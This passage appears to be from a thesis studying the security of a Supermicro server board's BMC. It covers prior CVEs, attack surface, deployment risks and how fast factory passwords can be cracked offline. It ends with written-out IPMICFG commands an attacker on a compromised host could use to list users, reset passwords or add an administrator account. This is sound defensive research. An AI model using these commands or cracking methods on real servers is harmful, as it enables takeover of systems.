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Abstract

The baseboard management controllers (BMCs) are highly privileged hardware components connected to
server motherboards, powering society's information technology infrastructure. The ever-increasing threat
of opportunistic and targeted cyber-attacks requires organizations to adapt and secure their infrastructure,
as previous research has found BMCs to be vulnerable and exploitable by cyber attackers.

The premise of the previous research laid foundations to perform a case study and a deep dive into a single
BMC-enabled server motherboard: the Super Micro Controller Inc. manufactured M11SDV-8C+-LN4F. A
case study allowed the research to focus on a naturally limited research scope, providing an in-depth un-
derstanding of possible vulnerabilities, exploitation vectors, and common misconfigurations of these de-
vices and their deployment scenarios using gray-box software assessment methodology and documenta-
tion reviews. Objectively, a case study provided a way to conduct vulnerability research and identify
actionable remediation vectors to limit the exploitability of the controllers.

The main findings include the identification of high-severity software vulnerabilities tracked with common
vulnerability enumeration identifiers CVE-2023-33411, CVE-2023-33412, and CVE-2023-33413. Additionally,
the internet exposure of the baseboard management controllers and exploitation attempts were assessed
with search engine queries and active honeypot systems. Finally, the research provided an outline for sev-
eral living-on-the-land types of attack and exploitation scenarios affecting the baseboard management con-
trollers deployed in both ignorant and best practices conforming deployments.
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1 Introduction

1.1 Overview and Motivation

Baseboard management controllers (BMC) have become a standard component in modern server
architectures, enabling system administrators to remotely access the system layers below the
server's installed operating system. While convenient for administrators, BMC devices function as
highly privileged and security-critical components in data centers and single-server deployments
alike, necessitating careful configuration, security controls, and network design for secure deploy-
ment and use. Due to their highly privileged access to server hardware and independence from

the host operating system, BMCs can be viewed as prime targets for malicious exploitation.

This case study offers additional research on the topic, aiming to illuminate the risks and potential
exploitation vectors of BMC devices by analyzing a Supermicro X11-series based server mother-
board, embedded BMC device firmware, its documentation, configurations, as well as publications
from Supermicro. The latter part of this case study analyzes the extent of potentially vulnerable
devices, seeks to identify any ongoing exploitation on the public internet, and describes the pro-

cess of vulnerability disclosure, along with considerations of vulnerability research.

While many potential attack vectors have been identified and proposed in the past, at least in hy-
potheses, Supermicro devices have not been discussed security-wise in some years. This gap pre-
sents a good opportunity to inspect the internals and the state of BMC device security. This re-
search is inspired by past, vendor-agnostic publications related to BMC security and exploitation. It
aims to provide a more foundation for the next iteration of study through target system analysis,

security research, and data collection from publicly available resources.

The importance of non-affiliated applied security research cannot be overly emphasized. Being
non-affiliated and not driven by financial motivations allows security research to be conducted
without biasing expectations of end results or being influenced by the normal vendor-contractor
customer relationship. Even when the research is conducted outside the common commercial
sandboyx, it can contribute significantly to the overall cybersecurity sector as an industry, providing

additional information for both network defenders and security researchers. The concepts, meth-



odologies, and information, in general, should not be gate-kept but shared with the entire indus-
try. While BMC devices consist of only a small part of the digital infrastructure, the overall impact

and value they bring are significant.

As a direct result of this research, three high-severity vulnerabilities in the assessed Supermicro
M11SDV-8C+-LN4F motherboard embedded BMC device were identified. These vulnerabilities are
being tracked with CVE identifiers CVE-2023-33411, CVE-2023-33412, and CVE-2023-33413. In ad-
dition to the identified software vulnerabilities, the research provides valuable insights for net-
work defenders in the form of attack scenario considerations and indicators of compromise and a

device exposure assessment.

1.2 Acknowledgements

My gratitude goes to all those, who have helped and guided me on this journey: my thesis supervi-
sors, lgor from Supermicro, Eddie from IBM, k4m1, all my colleagues - past and present, the team
at Finnish National Cyber Security Centre, my friends and family and especially my significant

other, who has been there after all sleep deprived nights of hacking.

2 Research methodology

2.1 Research Questions

Primarily, this thesis aims to identify software vulnerabilities, cyber-attack vectors, exploitation
scenarios, and outline risks associated with the current state of BMC devices. Additionally, if possi-
ble, this thesis aims to develop interoperability capabilities with dedicated external software (e.g.,
exploitation proof-of-concepts) to further illuminate possible problematic areas. In short: are
there any previously unknown software vulnerabilities, dangerous misconfigurations, and can the

BMC device be used to compromise the server's host operating system or vice versa?

Identification of previously unknown software vulnerabilities is fundamental to the overall security

of information technology systems. The presence of software vulnerabilities unknown to users and
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vendors can lead to uncontrollable exploitation scenarios with undefined outcomes, enabling at-
tacks against governments and corporations, as well as ransomware attacks (Trendmicro, 2019).
Due to the critical nature of minimizing exposure to zero-day exploitation, the identification of

such vulnerabilities was raised as one of the main research questions.

Dangerous misconfigurations and their identification can also be deemed similarly crucial for secu-
rity, as they can affect the organizations deploying the systems in a similar way to the presence of
exploitable software vulnerabilities. By analyzing potential configuration issues, especially in the
case of insecure default configurations, this thesis aims to identify the relevant problematic config-

urations and enable system administrators to secure the systems.

By combining the knowledge of previously unknown software vulnerabilities and possible danger-
ous misconfigurations, this thesis aims to answer the question: then what? Is it possible to utilize
potential issues to compromise the host operating system via a compromised BMC, or in the case
of a compromised host operating system, is it possible to change course and exploit the BMC? This
guestion attempts to gain insight into the impact of issues affecting the BMC ecosystem, as an ex-

ploit without impact can be deemed generally irrelevant to the big picture.

Finally, by analyzing open-source information and deploying active honeypot methods, this thesis
aims to identify any ongoing exploitation attempts targeting Supermicro BMC devices connected
to the internet. Finally, it seeks to identify and assess the number of potentially vulnerable devices
currently accessible from the public internet and determine the relevant legislation governing se-

curity research in Finland.

2.2 Research Methodology

The most suitable research methodology for a single target platform consisting of hardware and
software was deemed to be a case study. Laine et al. (2007) summarizes the concept of a case
study as more of a research strategy, which by definition contains a mixture of different research
methodologies and can contain multiple different sets of research materials. In a case study, an
attempt to create a detailed presentation of the selected entity is performed by collecting and an-

alyzing a diverse set of materials in a holistic manner (Laine et al., 2007).
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The research, by performing a case study, matches well with the research questions and is a well
utilized research method at JAMK University of Applied Sciences (Theseus, n.d.). A case study al-
lows the researcher to follow a more liquid path to answer the research questions than a well in
advance pre-defined methodology would. The elasticity provided by a case study as a research
methodology can be seen as strengthening fundamental due to the nature of software security
testing — the assessor can never truly know what there is to be discovered within the depths of the

assessed component.

An upside for performing a case study can be assessed to be the real-life context it provides to the
research. By analyzing real-life applications in-depth, the research provides and fullfills natural re-
quirement of applied sciences: the interface with current reality. A case study as a research meth-
odology makes it possible to test and develop theories in real life context — create and analyze ex-

ploitation scenarios.

While the chosen research methodology with its holistic approach can yield good results, the cave-
ats must be acknowledged. The chosen research methodology can be assessed to be highly de-
pendent on the individual researcher’s knowledge at the time of the research, and as a highly sub-
jective methodology, the research and the gained results can be impossible to repeat as is. The
lack of repeatability must be considered by attempting to achieving exact or otherwise highly ac-

curate results, that can be proven by third parties on-demand.

The holistic approach attempts to gain the highest possible understanding of the analyzed subject
while actively seeking to distinguish the researchers' own biases (Laine et al. 2007). The holistic
approach within the case study methodology can be assessed to require the researcher to con-
stantly assess the scope of the research dynamically. When is the scope fulfilled if the researcher

does not know the unknown parts of the analyzed subject?

The professional challenge of the chosen methodology remains high, as security research at this
level requires a specialized set of skills to target the very internals of both information technology

system's high- and low-level components. Due to the complexity of today's IT-infrastructure, en-
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gaging a target with intent to utilize holistic approach can create a requirement for constant learn-
ing. The full extent of the target protocols, software stacks and connection buses are unknown be-

forehand to the researcher.

2.3 Research Scope

The technological scope of this research was limited to conducting a case study on a single target
device, a Supermicro M11SDV-8C+-LN4F server motherboard based on the Supermicro X11-series,
featuring a BMC device based on the Aspeed Technologies AST2500 system-on-chip (SOC) (Super-
micro, 2021). Even that other motherboard and BMC vendors may have different design decisions,
the Aspeed AST-series SOCs can be considered relatively common chips for BMCs, potentially al-
lowing for more general observations. The same applies to different revisions of AST-series system
chips — while not fully backward compatible, the AST-series chips offer functionalities that can be
generalized into categories, such as networking capabilities, peripheral bus connections, and over-

all integration with the motherboard hardware (Aspeed, n.d.).

Targeting a single device offers a better opportunity to deeply investigate the device beyond the
surface level, potentially yielding more impactful findings in terms of software vulnerabilities. A

single device is also more affordable and easily obtained compared to a whole range of different
models from various vendors. By selecting a hardware vendor with enough market share, the po-
tential outcome of this research has traction and a good trajectory to do well. The same, in an in-
verted manner, goes to the possible pitfalls of the chosen methodology and scope: primarily tar-

geting a single device makes making generalized observations and assumptions harder.

Additionally, due to the Criminal Code of Finland regarding computer break-ins (Finnish Ministry of
Justice, 2016) the assessment of the current amount and reach of potentially vulnerable devices
and ongoing exploitation campaigns had to be performed by using passive methods, such as ana-
lyzing existing datasets, by having a permission from the targeted devices owner and by utilizing
research devices, such as active honeypot systems. Even that the scanning and enumerating vul-
nerable devices connected to the internet would be technically trivial, the contents of the Criminal
Code of Finland dictated the decision to limit the scope of this research. The research scope only

includes the analysis of publicly available datasets and the usage of the active honeypot systems
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to gather this information (M. Mesid, A-M. Vayrynen, S. Kbndnen, J. Eronen, personal communica-

tion, November 2, 2022).

2.4 Research Ethics

The main ethical consideration of this research is the aim to help secure the very information tech-
nology infrastructure critical to our well-being and everyday life. Software vulnerabilities and de-
vice misconfigurations are unavoidable to an extent and bringing them to the consciousness of
their developers is paramount for the overall data security of our society. In some cases, where
malicious actors may attempt to exploit such security research, it is far more dangerous to remain
in a state of the unknown. In this state, malicious actors may already be aware of the existence of
vulnerabilities, while the developers of the system are not, putting users at risk of uncontrollable

exploitation.

This thesis has been written in line with the ethical principles of JAMK University of Applied Sci-
ences (JAMK, 2018) and Finnish laws. Additionally, the research and disclosures have been con-
ducted following industry standards, common sense, and the vulnerability disclosure process,
partly assisted by the Finnish Transport and Communications Agency’s National Cyber Security
Centre. To limit possible exploitation, no exploit source code for any of the identified vulnerabili-
ties will be published as part of this thesis. Vulnerability details are partly obfuscated and censored
to not contain directly exploitable vectors unless a reasonable time-period has passed since the
vulnerability-fixing patch was issued. In the context of this thesis, this time-period was decided to

be one year.

During the research, the targeted device and systems were purchased, owned and under control
of the author, or a consent to perform the research has been received from the devices respective
owner. Supermicro has stated to welcome information of product security issues from academic
institutions (Supermicro, n.d.-b). The author has not been involved in any unlawful or malicious
actions and the research has been performed without any malicious intent. The research aims to

benefit all information systems users and stakeholders to achieve better security posture.
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2.5 Artificial Intelligence Acknowledgements

To be stated: this research is free of artificial intelligence hallucinations. No generative artificial in-
telligence capabilities have been used during this research to gather information, refences or to
generate text, phrases, or source code. The crude proofreading and spelling-error checking was
assisted by artificial intelligence models Mistral7B from Mistral Al, as well as GPT3.5-turbo from
OpenAl, Inc (MistralAl, 2023; OpenAl, 2023). The models were not used to their generative capaci-
ties in accordance with JAMK University of Applied Sciences instructions on the fair usage of artifi-

cial intelligence (JAMK, 2023).

3 Previous Research

3.1 Previous Research Collection

Supermicro security advisories and openly available CVE databases identify multiple historic vul-
nerabilities affecting several Supermicro BMC firmware versions ranging from X8- to X11-series
(Supermicro, n.d.-c; MITRE, n.d.). The historically identified vulnerabilities are being tracked with
CVEs as described in Appendix 1, which is compiled from public CVE database curated by MITRE
(n.d.). In the appendix, the severity is presented as CVSS version 3 if available and in case CVSS ver-

sion 3 score is not provided, older CVSS version 2 is presented.

From the previously published CVE identifier tracked vulnerabilities, we can make several observa-
tions. In the past, multiple vectors have been identified allowing arbitrary code and command exe-
cution on the affected BMC devices either by exploiting various memory issues or general unsan-
itized user inputs. In addition to the direct code injections and command execution, the BMC
devices have been observed to be vulnerable to different levels of authentication and authoriza-
tion issues, aiming to provide access to privileged functionality for unauthorized attackers. Overall,

the severity of the issues can be assessed to be generally significant.
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3.2 CVE-2013-4786 RAKP HMAC-SHA1 Hash Disclosure

While most of the identified issues have been found on different generations of the web user in-
terface, multiple attack vectors take advantage over the in-band or out-of-band IPMI protocol in-
terfaces to access privileged functionality or to perform memory manipulation attacks. Probably
one of the most notable BMC-related vulnerabilities is the CVE-2013-4786, RAKP HMAC-SHA1 hash
disclosure identified by Dan Farmer (2013). Most identified software issues can be fixed by provi-
sioning a firmware update, the CVE-2013-4786 is a design issue within the IPMI 2.0 specification
itself and cannot be fixed without updating the specification itself or dropping the support for the

IPMI 2.0 protocol (Intel, Hewlett-Packard, NEC, Dell, 2015).

As the protocol specification has not been updated, the hash disclosure vulnerability can be as-
sessed to leave a significant security hole to the IPMI 2.0 enabled devices. Practically anyone could
start to scan the public internet for the IPMI 2.0 protocol enabled devices, retrieve the hashes,
crack them, and potentially access the host managed by the BMC using standard living-off-the-

land methodologies used to manage the host through the BMC.

3.3 CVE-2019-6260 “Pantsdown”

Details of the CVE-2019-6260 provide to be interesting in the form of highlighting the privileged
access available to the BMC devices on the motherboards (Smith, 2019). In the “pantsdown” vul-
nerability, Smith (2019) demonstrated the capability of accessing and modifying arbitrary memory
locations of the BMC device from the host operating system. In context of the device’s security,
this also highlights the fact that the BMC devices are highly integrated and interconnected to the
respective motherboards. In Supermicros case, the BMC device is directly connected to the PCl-e
bus, allowing connectivity between different devices in the general system, including having direct

memory access to systems random access memory.

3.4 CVE-2019-16650 “USBAnywhere”

In 2019, the firmware and hardware security company Eclypsium published research on Supermi-

cro X10- and X11-series BMC firmware (Eclypsium, 2019). The Eclypsium research (2019) details a
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way of accessing the virtual media capabilities of the Supermicro BMC devices to attach arbitrary
USB devices to the host operating system. The research also identified exploitation scenarios, in-
cluding data exfiltration through the USB bus, booting, or reinstalling the host with arbitrary disk
images and introducing a network-attached USB Rubbery Ducky to the host (Eclypsium, 2019. Dur-
ing the research, the Eclypsium (2019) researchers identified 47,000 affected BMCs to be con-

nected to the internet in over 90 countries.

3.5 BMCLeech

The BMCLeech paper published in 2020 describes the usage of BMC devices’ connectivity with the
system’s PCl-e bus to perform direct memory access enabled forensic analysis on the host operat-
ing system in a stealthy way. By not interacting with the system’s CPU, the memory forensic tool
can be virtually unidentifiable by the host operating system (Latzo et al, 2020). The BMCLeech uti-
lizes well-known direct memory access memory acquisition framework PClLeech to do the heavy
lifting, providing a network socket connected X-DMA engine kernel driver library for the ASpeed

AST2500 chip (Latzo et al, 2020).

The existence of these toolkits introduces an interesting exploitation scenario: if an AST2500-
powered BMC device can be taken over with an arbitrary code execution, could this be used to

perform DMA attacks against a live host operating system?

3.6 IPMI: Freight Train to Hell

Dan Farmer’s paper (2013), outlines multiple problems associated with different parts of the BMC
ecosystem, mostly concentrating on the IPMI protocol 1.5 and 2.0 version issues and ways to ex-
ploit the living-off-the-land mechanics of the BMCs. The paper outlines today’s commonly known
issues, such as ones tracked by CVE-2013-4782 and CVE-2013-4786, or Cipher-0 attack and RAKP

HMAC-SHA1 hash disclosure vulnerabilities, respectively (Dan Farmer, 2013).

The paper “IPMI: Freight Train to Hell” and its sister publication “Sold Down the River” discuss

IPMI protocol problems in-depth and details multiple attack vectors against BMC devices vendor-
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agnostically (Farmer, 2013). In addition to the issues mentioned above, the paper provides hy-
potheses on issues such as updating the device's network configurations to access the BMC de-
vices out-of-band management interfaces or internal networks. It outlines that the devices could
be used to capture and sniff network traffic from the shared network interface. The paper also dis-
cusses the system of virtual USB-devices and how to compromise the host operating system using

the built-in, living-off-the-land functionality of the BMC devices (Farmer, 2013).

3.7 llluminating the Security Issues Surrounding Lights-Out Server Management

University of Michigan researchers (Bonkoski et al., 2013), published a paper assessing the security
state of BMC devices and specifically enabled by Supermicro X9-series motherboard. In the paper,
the researchers identified and published multiple issues ranging from client-side security controls
to remote command injection and buffer overflow vulnerabilities, allowing full root-level access to
the affected BMC device. In the paper, the research team also suggests that in-the-wild exploita-

tion of these devices could be recorded using IPMI honeypots (Bonkoski et al., 2013).

4 Target System Analysis

4.1 Methodology

The target system analysis aims to gather insight into the device's connectivity with different parts
of the ecosystem to identify potential avenues to perform attacks against the device. Target sys-
tem analysis refers to the breaking down of the adversary to target systems, the target system to
target components, and finally, the components to targets and target elements (Tuovinen et al.,
2019). In this case, the analysis is conducted on a high level directly on a single target system, the
host system consisting of the motherboard, BMC device, and any associated hardware and soft-

ware required to make it into a functioning system - a server computer.

The targeted system can be generally split into two logically autonomous components: the host
system, containing the motherboard-enabled server system itself, and the BMC system-on-a-chip

integrated into the motherboard. While the focus of this research is the BMC device itself, the tar-
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get system must account for the whole system on a transitory level, as the BMC device is con-
nected and integrated into multiple different interfaces and buses. The management connectivity
between the BMC and the user is also split into two logical forms: in-band and out-of-band con-

nection channels (Supermicro, 2021).

4.2 M11SDV-8C+-LN4F

The Supermicro M11-series motherboards can be seen as X11-series boards, with the exception
that they are designed to facilitate AMD manufactured central processing units (CPUs) instead of
ones manufactured by Intel (Figure 1). For generalization, this thesis will refer to all Supermicro

11th generation motherboards as “X11” regardless of the processor socket type or CPU manufac-

turer.

Figure 1: M11SDV-8C+LN4F server motherboard.
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Table 1: M11SDV-8C+-LN4F features the following general specifications (Supermicro, 2021)

Specification Description

Form Factor Mini-ITX

CPU Single AMD EPYC 3251 SOC Processor
8 Core/16 Thread, 2500 MHz, 1500 mV

Memory Capacity 4 DIMM Slots
Up to 512GB RECC DDR4 2666Mhz

On-Board Devices SATA3 (6 Gbps) controller

1GbE Intel 1350-AM4 Network Controller
IPMI v2.0 with iKVM and VM over LAN pro-
vided by ASPEED AST2500

VGA provided by ASPEED AST2500

USB 2.0/ 3.0 controller

PCl-Express 3.0 bus

The motherboard AMI BIOS version during the research was 2.18.1264 1.0c.

For the context of the thesis, the model of the motherboard is irrelevant if it is of the same gener-
ation and has the same Aspeed AST2500 BMC SOC embedded to it. The BMC is effectively inde-
pendent from the rest of the motherboard, as it can be used to manage most of the systems on
board. Supermicro uses Aspeed AST2400, AST2500 and AST2600 chips on basically all revisions of

the X11 series motherboards (Supermicro, 2020).
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4.3 Aspeed AST2500 BMC SOC

As described by the manufacturer, Aspeed AST2500 is a server management processor featuring
all relevant components, such as PCl-e, USB, VGA, and other peripheral device connections em-
bedded inside a single chip (Aspeed, n.d.). The BMC can be accessed remotely over network inter-
face controller or internally using different host connection buses. The Aspeed AST2500 BMC SOC,
as presented in Figure 2, is relatively small, consisting of 19x19-millimeter thin-profile fine-pitch

ball grid array casing with 458 pins layout holding a ARMv11 processor.

AST2500

PHK666 .00S-3
2149 TAN a2 GP

INEO 8%

Figure 2: Aspeed AST2500 BMC SOC embedded on a Supermicro M11SDV-8C+-LN4F.

Table 2: Aspeed AST2500 general specification (Aspeed, n.d.)

Specification Description
CPU ARMv11, 800 MHz
RAM 512 MB, 1488 MHz

Operating system Linux 3.18.0
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The primary target for this research is the Aspeed AST2500 BMC SOC firmware embedded to the
motherboard itself. During the research, the Supermicro BMC firmware revisions analyzed were
3.16.01 and 3.17.02 respectively. The Supermicro BMC firmware utilizes Linux version 3.18.0 as

the base operating system for the BMC device.

The targeted BMC firmware was updated after a patch fixing the CVE-2023-33412, a Virtual Floppy

USB Remote Command Execution was identified to be issued by Supermicro in November 2022.

4.4 Supermicro M11 BMC Attack Surface

As the Aspeed AST2500 BMC SOC effectively performs as a computer inside a computer, any of the
available connections pose as a potential attack surface for the device. BMC management connec-
tions channels can be categorized to in-band, or IB and out-of-band, or OOB connections. In-band
connections refer to any internal communication channels available between the motherboard’s
CPU and the BMC chip, such as PCl-e. Out-of-band connections refer to any external communica-
tion channels available to the BMC chip trough external protocols, such as TCP/IP through network

interfaces.

Addition to the actual management channels for the BMC device, attack surface can be further ex-
tended to contain inbound and outbound connections relative to the channels. If the connections
are initiated by the client, the BMC will determine the connection to be inbound, where the po-
tential vulnerabilities occur directly because of a malicious input. When an outbound connection is
initiated, the potential vulnerabilities occur because of the response values received to the con-
nection initiated by the BMC. It also may be possible to coerce the BMC device to initiate the out-

bound connection.

The Supermicro BMC firmware allows multiple ways to manage the BMC itself via both IB and OOB
channels. It is worth noting that not all Aspeed AST2500 provided connection channels are neces-
sarily implemented in the Supermicro BMC firmware, meaning that the channels are unavailable
to the initial, unexploited state of the BMC device. This thesis considers only management chan-

nels which have some sort of pre-defined tooling available for interaction.
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The described management channels and outbound connections hold true for a non-enterprise

level software license. Supermicro offers a license for a System Management Suite, which includes

a wealth of additional functionalities potentially providing more attack surface, as described in the

IPMI user manual (Supermicro, 2020).

Table 3: M11SDV-8C+-LN4F BMC in-band management channels (Supermicro, 2020)

Management channel

Description

PCl-e 2.0 The BMC connects to the motherboards South Bridge via PCl-e 2.0
1X Bus.

UART The BMC connects to the motherboards South Bridge via UART.

LPC The BMC connects to the motherboards South Bridge via Low Pin
Count Bus.

USB 2.0 The BMC connects to the motherboards South Bridge via USB 2.0
Bus. The BMC has USB 2.0 Host capability.

NIC External connection to the BMC is available via a dedicated Network
Interface Controller.

NC-SI/RMII The BMC connects to the motherboard's network interface control-
ler via Network Controller Sideband Interface and Reduced Media-
independent Interface connections.

cCom External connection to the BMC is available via RS-232 COM-port.
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Table 4: M11SDV-8C+-LN4F BMC out-of-band management channels (Supermicro, 2020)

Management channel

Description

SMASH/CLP

System Management Architecture for Server Hardware Command

Line Protocol shell is available via SSH on BMC port TCP/22.

HTTP / Redfish

BMC offers the standard web user interface through HTTP server at
ports TCP/80 (plaintext) and TCP/443 (TLS/SSL encrypted). In addi-
tion to the web user interface, the web service also hosts Redfish

API.

SNMP

Simple Network Management Protocol is available to be configured

and defaults to port UDP/161.

HTTPS / Redfish

BMC offers the standard web user interface through HTTP server at
ports TCP/80 (plaintext) and TCP/443 (TLS/SSL encrypted). In addi-
tion to the web user interface, the web service also hosts Redfish

API.

IPMI / RMCP Remote Management Control Protocol enables IPMI messages to be
delivered to the BMC with default port of UDP/623.

SSDP Simple Service Discovery Protocol listens on port UDP/1900.

iKVM BMC iKVM functionality Virtual Network Computing service listens
on port TCP/5900. The service is wrapped in an encrypted tunnel.

WSMAN Web Services Management interface is available to be configured.

WSMAN defaults to port TCP/5985.
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UPNP

Universal Plug-and-Play related HTTP server is listening on port

TCP/49152.

By dynamically and statically inspecting the Supermicro M11SDV-8C+-LN4F BMC firmware, the

identified, device-initiated out-bound protocol connections are presented in table 5.

Table 5: Supermicro M11SDV-8C+-LN45 BMC initiated out-bound protocol connections

Connection protocol

Description

SMTP

Simple Mail Transfer Protocol is used by the BMC to deliver alerts

and notifications. The default target system and port can be config-
ured by the administrator. Default port value is TCP/587. The BMCs
SMTP support can deliver both plaintext and SSL encrypted connec-

tions.

NTP

If enabled, the BMC device will update the device time automatically
by connecting to administrator defined Network Time Protocol

server on port UDP/123.

LDAP

The BMC supports external authentication to be provided via Light-
weight Directory Access Protocol. The LDAP server and port are con-

figured by the administrator with default port being TCP/389.

RADIUS

Remote Authentication Dial-In User Service support is provided by
the BMC and can be connected to administrator configured server

and port, which defaults to UDP/1812.
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DHCP

Dynamic Host Configuration Protocol can be used to dynamically as-
sign IP addresses to the BMC. The DHCP is enabled by default and

normally communicates via ports UDP/67 and UDP/68.

DDNS

Dynamic Domain Name Service connection can be configured to the
BMC. The DDNS configuration launches DNS and HTTP requests to

configured server address.

SYSLOG

The firmware supports sending system log entries to remote log
server configured by the administrator via UDP. Syslog defaults to

port UDP/514.

UPNP/SSDP

Universal Plug-and-Play and Simple Service Discovery Protocol lis-
tens on the BMC at ports UDP/1900 and TCP/49152 and communi-

cates to multicast address port UDP/1900.

5 Deployments

5.1 Deployment Scenarios

While BMC chips are embedded on multiple types of motherboards ideal for different use cases,

some general observations can be made from the Supermicro marketing brochures (Supermicro,

n.d.-c). Supermicro’s server motherboard offering could be described as a one-shop-stop for IT-

infrastructure, covering dedicated models from general server motherboards to loT and embed-

ded device boards all the way to GPU and storage servers (Supermicro, n.d.-c).

Typical baseline deployment considered in this thesis is based on Supermicro BMC security best

practices document, which describe high-level generalized best practices for deploying Supermicro

BMC enabled motherboards in datacenter environment (Supermicro, 2022a). In addition to the

scenario, where provided best practices are followed, a scenario where the server is deployed to
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an environment with default settings is considered as well, as human error and ignorance cannot

be dismissed in cybersecurity.

5.2 Best Practices Deployment

The Supermicro BMC security best practices suggest restricting inbound and outbound network
traffic to and from the BMC devices, to utilize managed network segments, and including a capa-
bility to monitor network traffic within the BMC subnet (Supermicro, 2022a). Using BMC devices’
dedicated network controller interfaces, segmenting and monitoring the BMC dedicated network
is key to limit potential attackers’ ability to utilize the devices in malicious activity and to provide
early warnings of such activity. In addition, the security best practices document outline require-
ments to overall harden the BMC enabled devices, including configuring BIOS security features,
setting up access roles, user policies and strong passwords (Supermicro, 2022a). Finally, the secu-
rity document suggests limiting the available attack surface by reconfiguring the BMC device’s ser-
vices and monitoring for BMC firmware updates and applying them, especially in case of critical

security fixes (Supermicro, 2022a).

When deploying systems in line with the best practices, different kinds of systems are segmented
to their respective networks, which can be restricted for access, monitored, and otherwise man-
aged in secure ways. Best practices conforming deployment is described in Figure 3. In the case of
known vulnerable devices or legacy software, network segmenting and access controls can pro-
vide some form of additional security, as the potential network attackers have less usable attack

surface to exploit.
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Figure 3: Best practices conforming standard deployment example.

In the described best practices deployment, the organization’s network is highly segmented,
providing dedicated subnets for different types of systems, such as workstations, management de-
vices (including BMC devices) and servers. In this simplified and high-level example, the servers
portrayed are connected to the demilitarized zone for services needing unrestricted access to the
internet, and the BMC devices are connected to their respective management network without
providing direct access to the internet. Access between subnets is handled by dedicated virtual lo-

cal area network routing.

Segmented network architecture can be seen as harder targets for network attackers, as the avail-
able attack surface is dependent on the routing tables, firewalling, and observation points availa-

ble to the attacker.
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5.3 lIgnorant Deployment

Besides best practices following deployment and network architectures, an ignorant deployment
architecture, described in Figure 4, is considered to assess the impact of the worst-case scenario.
In the proposed ignorant deployment, the network is described to be monolithic with little to no
security features deployed, lacking any network segmenting, firewalling, or monitoring capabili-

ties.

Monolithic
network

Internet

Figure 4: Ignorant deployment example of a flat network.

In the described ignorant deployment, the organization’s servers are either directly connected to
the public internet, or a simple one-to-one routing is in place, exposing all or most of the services
available. The network architecture does not make use of management features or network seg-
ments but rather has all the connected systems simply connected to the same network, with little

to no filtering or monitoring capabilities installed.

While monolithic network architectures can be assessed to be rare on professional deployments,
the risk of misconfiguring firewalls or otherwise exposing services to either directly to the internet
or to the organization’s internal network is plausible. Misconfigurations and administrative mis-

takes or simply not knowing better can assist in generating the situation described in the ignorant
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deployment scenario. The ignorant deployment scenario provides the potential network attacker

with a wide attack surface on the deployed systems.

The ignorant deployment scenario also considers a situation where the BMC devices existence is
unknown to the administrators, or they have been ignored all together and the BMC dedicated
network controller interface is either connected directly to the internet, or the BMC side-loads its

connection directly to the motherboards primary network interface controller.

6 Documentation Review

6.1 Review Considerations

As part of the security review process, the existing documentation was inspected to gain insight
into the use cases, functionalities, and potential vulnerabilities within the BMC ecosystem. Docu-
mentation review aimed to critically assess the status of best practices provided by the manufac-
turer and the industry, reflected within the common use cases and deployment scenarios of the
BMC devices. How do provided best practices compare to other similar devices from different
manufacturers and what could possibly be potential exploitation vectors to the systems managed

by the BMC devices?

6.2 Unique Password Policies

For some time, many BMC devices had known default credentials embedded to them from the
factory. Collections of these default credentials circulate the internet ready to be utilized by any-
one needing default level access to older generation devices (Sebastian Krohn, 2016). In 2019, Su-
permicro renewed default password policies for new motherboards in accordance with Californian
cybersecurity laws, using unique pre-programmed passwords instead of previous widely known
credentials. After the update, each of the systems ships with a unique, factory-set password of ex-

actly ten uppercase alphabetic letters (Supermicro, 2019).

While adding some degree of security to the initial setup, given the existence of the CVE-2013-

4786, which allows attacker with network access to the UDP port 623 to obtain password-derived
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hash-based message authentication code of targeted device username, this upscale in security can
be seen insufficient to protect BMC devices from unauthorized access. Entropy for a password

consisting of ten uppercase alphabetic letters can be calculated with formula (Shannon, 1950):

10log,(26) =~ 47.004bits

Meaning, that the whole available key space is:

247004 ~ 141.128e12

A single consumer-grade Nvidia GeForce RTX 3080 GPU can reach cracking speeds of 2.7686e°

hashes per second on Hashcat password cracking tool module 7300, IPMI2 RAKP HMAC-SHA1 with

an optimised kernel (Appendix 2). Therefore, in Supermicro’s case, exhausting the whole available

key space would take only approximately 14 hours for a single target hash.

By analyzing vendors’ documentation and internet search results, a sample list of unique factory

default password policies was compiled for comparison, including approximate time-to-exhaust

for Hashcat module 7300 with a single Nvidia GeForce RTX 3080 GPU.

Table 6: Vendor password policies (Hewlett Packard, 2018; Supermicro, 2019; Dell, 2021)

Vendor / Device Password description Entropy | Time-to-exhaust

Hewlett Packard iLO 4, 5 An eight-character string 41.4 bits | ~17 min 28 sec
Note: IPMI protocol disabled by [A-Z20-9]
defaultoniLO 5

Supermicro IPM/ A ten-character string 47.0 bits | ~14 h 10 min
[A-Z]
Dell iDRACS8, 9 A twelve-character string 62.0 bits | ~53 years

[A-Z0-9]
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It can be argued, that in HP and Supermicro’s case, a small adjustment upwards on the factory de-
fault unique key space would render the offline brute force attacks against the RAKP HMAC-SHA-

1-hashes unfeasible for most attackers with current commonly available hardware.

6.3 Network Interface Sideloading

The Supermicro IPMI user's guide for X10- and X11-series BMC devices based on AST2400 and
AST2500 chips describes the default settings for the BMC devices. Default settings include the LAN
interface being set to failover mode. The failover setting on the LAN interface describes the way in
which the BMC device attempts to gain network connectivity. In this case, the default setting al-
lows the BMC to use either its own dedicated network interface or, in case it fails to connect, the

motherboard's shared LAN interface ports with an index of 0 or 1 (Supermicro, 2020).

A scenario where the BMC fails to achieve connectivity through its dedicated network interface
and automatically, by default, proceeds to connect through the shared network interface can be
considered problematic. When the BMC device sideloads the network interface, the same physical
network port is used to provide two separate connections, each with its own IP addresses while
sharing the same MAC address. This can easily create a situation where the system administrator
is unaware of the BMC device's out-of-band management interfaces being available on the inter-

nal network, or in the worst-case scenario, available directly to the public internet.

Besides possibly making the BMC device directly available to a network it is not intended to reside,
the possibility to dynamically sideload and even access the shared network interface facilitates
more exploitation scenarios: opening the BMC device's out-of-band protocols to a local attacker
and allowing a compromised BMC device to sniff network traffic or pivot from one network seg-

ment to another, as outlined by Dan Farmer (2013).

6.4 Exploiting Network Interface Configuration

Considering a scenario: the BMC device in question is configured to use the BMC dedicated net-

work interface connected to a separate management subnet. The attacker has compromised the
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host operating system and wants to compromise the whole system further, including the BMC de-
vice. In the simplest form, the attacker could use in-band management software, such as IPMICFG
to achieve the goal through the IPMI driver (Supermicro, 2022b). By utilizing the IPMICFG, a sys-

tem level privileged attacker can proceed to issue commands such as:

./IPMICFG -user 1list

To extract the current list of available BMC users.

./IPMICFG -user setpwd <user id> <password>
or

./IPMICFG -user add <user id> <name> <password> <privilege>

To either reset the administrative account password, or to create a new administrative account,

